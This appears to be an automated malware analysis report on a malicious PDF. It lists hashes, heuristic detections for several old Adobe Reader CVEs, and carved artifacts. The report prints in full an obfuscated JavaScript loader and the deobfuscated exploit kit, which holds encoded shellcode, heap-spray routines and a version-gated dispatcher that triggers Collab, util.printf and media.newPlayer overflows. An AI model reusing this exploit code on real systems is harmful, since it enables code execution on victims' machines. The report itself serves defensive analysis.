Malicious PDF — malware analysis report

Static analysis result for SHA-256 9ba1c8c4fc47ca3e…

MALICIOUS

PDF

78.8 KB Authoring application: ring.fromChar First seen: 2026-05-08
MD5: 3a509f71eed2f1fbf12ded102f5b3052 SHA-1: 9fcbe0f119d96aa48594a45ee2cb550218d45f54 SHA-256: 9ba1c8c4fc47ca3e0c1fde6fcc08c769ca4a5c2ed5141abfb1cccde524389e73
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x138D5 395 bytes
SHA-256: 74bb83e20085f9c4c85fcc5d79a9ec8123a00fad93825f6efac703d07e78e858
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var wcay="";
lsqyw='his';
rxo='tit';
e('jltk=t'+lsqyw+"."+rxo+t);
t='cer'
gfzap='produ';
e('eafjh=t'+lsqyw+"."+gfzap+t);
swn=e('St'+eafjh+'Code');
cpow = e(jltk);
e('k=cpow.length');
for (i = 0; i < k; i+=2) {
	tuu = cpow[i] + cpow[i+1];
	wcay += swn(tuu);
}
e(wcay);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: 153413c856c5b597e326b08428b6220ab41b791254c46a35bcbf719d69cd9e36
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9034%ue2aa%uc3fa%ue5e8%uffff%u79ff%u919c%u9090%u11ce%ucc7c%u9091%u1990%u1d77%u80df%uff1d%ua1c4%uc74b%uc3c1%uc3c3%uc3c3%uc3c3%uc3c5%uf8c3%u9194%u9090%uc6c5%uf8c3%ufeff%u9090%ue5f8%ufce2%uc4fd%u1ef8%u9ede%u787c%u90d8%u9090%u78c0%u90ec%u9090%u406f%u5413%uf898%u7fdf%u95df%u78c0%u90fc%u9090%u406f%u5015%u87e5%uc4fa%u63c9%uf83a%u6ee2%u8623%u8d78%u9090%uc090%uc178%u9090%u6f90%uc340%u6efa%u19f8%u91ff%u782d%u9098%u9090%u78c0%u90ac%u9090%u406f%ua1f0%uf450%uc01b%u1ba0%u9cc2%uc21b%u1b84%ub8e2%u8829%u9090%ua190%ua16f%u3c50%uf1ac%u92ec%ub0bc%u5f51%u919d%u7257%u1160%ucb6f%uda2c%u1bfa%u80d2%u821b%u49e5%ud419%u8cb4%u53f1%u1bf0%ub4fc%u1bb4%uacd5%uc41b%ue895%u7a91%uda1b%u1b88%ub0ca%u7b91%ua473%u1bd9%u1ba4%u7e91%u6fa1%u50a1%u3c6c%u5014%u97e4%u5f51%u919d%u7b57%uab64%ub4ec%ue5b8%u1b71%ub4ca%u7b91%u1bf6%udb9c%uca1b%u918c%u1b7b%u1b94%u7891%ud419%u8cb4%u52f1%u9098%u7f78%u6f6e%uf86f%ue4e4%uaae0%ubfbf%ua6e4%uf8a2%uf3be%ubeea%uf3f3%ufbbf%ue0be%ue0f8%uf6af%ua1ad%ub6a7%uadf5%u90a5';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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